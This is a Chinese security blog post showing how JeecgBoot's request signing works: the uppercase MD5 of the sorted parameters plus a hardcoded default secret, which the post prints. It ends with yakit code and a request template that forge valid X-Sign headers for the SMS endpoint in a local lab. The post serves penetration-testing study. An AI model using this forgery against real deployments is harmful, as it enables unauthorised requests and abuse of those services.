首页 > 编程语言 >app&小程序&web安全—sign签名绕过

app&小程序&web安全—sign签名绕过

时间:2024-11-23 14:00:41浏览次数:10  
标签:web return mobile app Sign signatureSecret 签名 sign verifySign

一、环境准备

本文测试环境为JeecgBoot,代码链接:jeecgboot/Github

环境配置链接:IDEA启动项目 - JeecgBoot 文档中心

配置好依赖和数据库后启动后端:org.jeecg.JeecgSystemApplication
在这里插入图片描述

启动Vue3前端,点击dev,Jeecg启动!

在这里插入图片描述

二、阅读代码(后端)

关于签名函数的位置我不太会定位,是通过网络搜索找到的。

在这里插入图片描述

最终定位到SignAuthConfigurationSignAuthInterceptorSignUtil等类。

1. SignAuthConfiguration

SignAuthConfiguration关键代码

boolean isSigned = SignUtil.verifySign(allParams,headerSign);

if (isSigned) {
    log.debug("Sign 签名通过!Header Sign : {}",headerSign);
    return true;
}

调用了verifySign进行校验签名,如果isSigned为true,签名通过。

2. SignUtil.verifySign

SignUtil.verifySign代码

public static boolean verifySign(SortedMap<String, String> params,String headerSign) {
    if (params == null || StringUtils.isEmpty(headerSign)) {
        return false;
    }
    // 把参数加密
    String paramsSign = getParamsSign(params);
    log.info("Param Sign : {}", paramsSign);
    return !StringUtils.isEmpty(paramsSign) && headerSign.equals(paramsSign);
}

经过调试得出params的内容是get和post请求参数的总和:

在这里插入图片描述

调用了getParamsSign来进行校验签名。

3. SignUtil.getParamsSign

SignUtil.getParamsSign关键代码

String signatureSecret = jeecgBaseConfig.getSignatureSecret();
return DigestUtils.md5DigestAsHex((paramsJsonStr + signatureSecret).getBytes("UTF-8")).toUpperCase();

对http请求参数paramsJsonStr加上signatureSecret的值,进行md5运算,最后对md5值大写处理。

signatureSecret的值在org/jeecg/config/JeecgBaseConfig.java里:dd05f1c54d63749eda95f9fa6d49v442a

在这里插入图片描述

4. 最后

getParamsSign返回签名计算后的数据,verifySign对后端计算的sign和http请求头的X-Sign进行比较,如果相同则sngn校验通过,返回true。

实践一下

获取验证码处抓包,清除掉多余请求头。

POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: 1478A8A6639F1495342C603DC05BAEB7
X-TIMESTAMP: 1732282707313
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}

在这里插入图片描述

处理后,可以看到和X-Sign值一样。

在这里插入图片描述

所以JeecgBoot的签名逻辑就是把请求内容加上密钥,然后再进行md5计算,最后大写字符,就得到了X-Sign字符。

三、阅读代码(前端)

打开开发者工具,全局搜索secret,可以看到签名密钥

const signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a';

在这里插入图片描述

文件位置:/src/utils/encryption/signMd5Utils.js

在signMd5Utils.js的第43行可以看到签名逻辑

return md5(JSON.stringify(requestBody) + signatureSecret).toUpperCase();

在这里插入图片描述

调试后可以看出签名逻辑和后端一样,都是将请求内容加上密钥,然后md5再大写处理。

在这里插入图片描述

四、关于参数顺序的问题

上面只测试了POST请求体的参数,如果通过url传参该怎么加密呢?

这里通过后端调试可以看出,参数是按照(数字,大写字母,小写字母)的顺序来排序的。

URL的参数为:1papam=0&Zparam=1&aparam=2&nparam=3

请求体为:{"mobile":"13066668888","smsmode":"1"}

最终整合成json,得到的数据为:

{"1papam":"0","Zparam":"1","aparam":"2","mobile":"13066668888","nparam":"3","smsmode":"1"}

请求

在这里插入图片描述

后端log:log.info("Param paramsJsonStr : {}", paramsJsonStr)

在这里插入图片描述

五、Yak

随便写了点yakit的热加载代码,现在才知道yaklang功能很强大,但还是不太熟练,所以实战用处不大。

func sign(mobile) {
    return codec.Md5(f`{"mobile":"${mobile}","smsmode":"1"}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}
func sign(param) {
    return codec.Md5(f`${param}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}

在这里插入图片描述

在这里插入图片描述

POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: {{yak(sign|{"mobile":"13066668888","smsmode":"1"})}}
X-TIMESTAMP: {{timestamp(ms)}}
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}

在这里插入图片描述

六、参考文章

jeecg 请求url签名_signauthconfiguration

渗透测试高级技巧:分析验签与前端加密

Fuzz Tag Playbook (yaklang.io)

热加载 (yaklang.io)

标签:web,return,mobile,app,Sign,signatureSecret,签名,sign,verifySign
From: https://blog.csdn.net/weixin_49125123/article/details/143985438

相关文章

  • 基于Web的酒店客房部信息管理系统设计与实现(源码+定制+讲解)用户友好的酒店客房管理系
    博主介绍:  ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W+粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台的优质作者。通过长期分享和实战指导,我致力于帮助更多学生......
  • 苹果cms萝卜影视app源码 附安装教程
    速存吧,不知道什么时候会没有下载:https://pan.quark.cn/s/eed21d528c3b源码介绍:宝塔环境搭建安装:php必须安装sg11扩展插件,php版本7.07.2nginx1.18.0(可以最新)php-7.0(必须php版本7.07.2)mysql5.6.50(可以最新)记得安装扩展fileing(非必须)memcached(非必须)sg11(必须)上传......
  • 2024赣ctf-web -wp
    1.你到底多想要flag???首先来解决第一关:先了解一下stripos();并且此函数处理数组返回false。而且pre_match同样遇见数组是返回false(解释一下正则i:这是正则表达式的修饰符,代表“不区分大小写”,意味着“FLAG”、“Flag”等大小写形式都会被匹配。s:这是正则表达式的修饰符,代表......
  • 关于自己写阿里云OSS相关工具类的自动配置(黑马web开发day14)
    阿里云OSS的自动配置主要分为:驱动类:aliyun-oss-spring-boot-autoconfigure自动配置类:aliyun-oss-spring-boot-starter文章目录aliyun-oss-spring-boot-starter创建aliyun-oss-spring-boot-starteraliyun-oss-spring-boot-autoconfigure创建aliyun-oss-spring-boot-aut......
  • javaweb基于SSH开发简单的新闻文章管理系统源码(前台+后台) 课程设计 大作业
    作品编号:1113数据库:mysql后端技术:SSH......
  • JavaWeb知识点总结 我的学习笔记
    JavaWeb我的学习笔记一、动态网页开发1.动态网页2.系统架构C/S架构B/S架构B/S与C/S的比较3.URL通信三要素4.Tomcat服务器二、Servlet1.Servlet简介2.Servlet快速入门入门样例执行原理3.Servlet的体系结构4.servlet的十大方法5.Servlet生命周期6.在web.xml中配置servl......
  • Web、RESTful API 在微服务中的作用是什么?
    Web、RESTfulAPI在微服务中的作用是什么?在当今的软件开发领域,微服务架构正变得越来越流行。而在微服务架构中,Web和RESTfulAPI起着至关重要的作用。一、微服务架构简介微服务架构是一种将应用程序拆分为一组小型服务的架构风格。每个服务都可以独立部署、扩展和维护。这些......
  • 使用Insomnia来调用Dataverse的Web API
    这是我的第513篇原创文章,写于2024年10月26日。以前我写过一篇文章:配置Postman通过OAuth2implicitgrant获取D365数据,以前我这个文章参考的的官方原文使用的是Postman这个工具,现在变成使用Insomnia了,官方原文是:UseInsomniawithDataverseWebAPI。所以我今天来讲讲使用Inso......
  • 提现生成器【APP】自定义生成小游戏提现截图
    今天发个避坑帖!首先看看下面这种收益图,你们肯定见过不少!‘割割’们让你上车,必须得有一些吸引你的东东啊,不然怎么割你吗?其实这种截图都是软件生成的,我网站上分享过非常多的类似软件,什么聊天记录生成的啊,什么ZFB,微信零钱转账记录,余额多少啊。。。。。都可以生成。像这种......
  • Altium Designer 入门基础教程(六)
    本文章继续接着《Altium Designer入门基础教程(五)》的内容往下介绍:七、AD画板的整个流程步骤 L.板层数和设计规则的设置a.板层数的设置开始画板前,根据板框大小和元器件的多少可以大概评估一下要用到几层板,先设置好层数,再开始布局画板工作;或者在布局画板的过程中,发现实在......